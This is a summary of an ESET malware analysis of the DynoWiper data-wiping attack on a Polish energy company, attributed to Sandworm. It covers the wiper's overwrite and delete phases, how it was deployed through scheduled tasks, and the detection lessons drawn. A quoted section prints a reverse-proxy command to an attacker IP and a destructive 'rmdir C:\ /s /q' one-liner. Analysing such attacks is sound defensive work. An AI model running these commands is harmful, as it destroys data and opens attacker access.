# DynoWiper update: Technical analysis and attribution

DynoWiper data-wiping malware deployed via shared directory and scheduled tasks against a Polish energy company, overwriting files across all drives then forcing reboot.

- Payout: Real-world hack
- Severity: high
- Program: Polish energy company
- Analysis by: ESET Research
- Disclosed: 2026-01-30
- Write-up quality: 7/10
- Original: https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/
- Library page: https://bugbountylibrary.com/r/blog%3Awelivesecurity-com-en-eset-research-dynowiper-update-technical-analysis-attribution
- Tags: area:os domain:desktop domain:infra impact:dos impact:integrity kind:incident platform:threat-intel sev:high tech:windows technique:source-review vuln:misconfiguration

**Target:** Windows endpoints and file shares in an energy company IT environment
**Root cause:** Wiper binary overwrites files with a 16-byte random buffer across removable and fixed drives, skipping a hardcoded exclusion list, then deletes remaining files and forces reboot; deployed via scheduled tasks from a shared network directory.
**Steps:**
1. Deploy `<redacted>_update.exe` (PE timestamp 2025-12-26 13:51:11) to `C:\inetpub\pub\` shared directory
2. On failure, rebuild and deploy `schtask.exe` (2025-12-29 13:17:06), then `schtask2.exe` (2025-12-29 14:10:07)
3. Phase 1: recursively overwrite files on all removable and fixed drives with a 16-byte random buffer, skipping `system32`, `windows`, `program files`, `program files(x86)`, `temp`, `recycle.bin`, `$recycle.bin`, `boot`, `perflogs`, `appdata`, `documents and settings` (case-insensitive)
4. Phase 2: for <redacted>_update.exe and schtask.exe, repeat wipe but no longer skip excluded dirs at drive root (e.g. `C:\Windows` wiped, `C:\Windows\System32` still skipped); schtask2.exe instead deletes all files via `DeleteFileW` with no exclusions
5. Phase 3: force system reboot to complete destruction
6. Prior stages: attempted Rubeus download to `c:\users\<USERNAME>\downloads\rubeus.exe`, LSASS dump via Task Manager, rsocx SOCKS5 proxy run as `C:\Users\<USERNAME>\Downloads\r.exe -r 31.172.71[.]5:8008`
**How found:** ESET detected the destructive sample at the victim and compared TTPs, wiper code structure (exclusion lists, small/large file logic) and GPO deployment script to prior ZOV wiper incidents to attribute to Sandworm.
**Exploitation:** Attackers with Domain Admin-level access staged wiper binaries in a domain shared directory and executed them via scheduled tasks; ESET PROTECT blocked execution of all three variants, limiting impact.
**Escalation:** Deployment via Active Directory Group Policy and scheduled tasks to spread across the domain; prior credential access (LSASS dump, Rubeus) to obtain high privileges.
**Insight:** Wiper variants rebuilt within hours after blocked execution (three PE timestamps same day) reveal iterative operator retries; monitoring for repeated rebuilds of the same binary in shared directories is a strong destructive-activity signal.

## Proof of concept (copied exactly from the original report)

**rsocx reverse-connect proxy command line**

```
C:\Users\<USERNAME>\Downloads\r.exe -r 31.172.71[.]5:8008
```

**ZOV wiper shell command sequence**

```
time /t & ver & rmdir C:\\ /s /q && dir && shutdown /r
```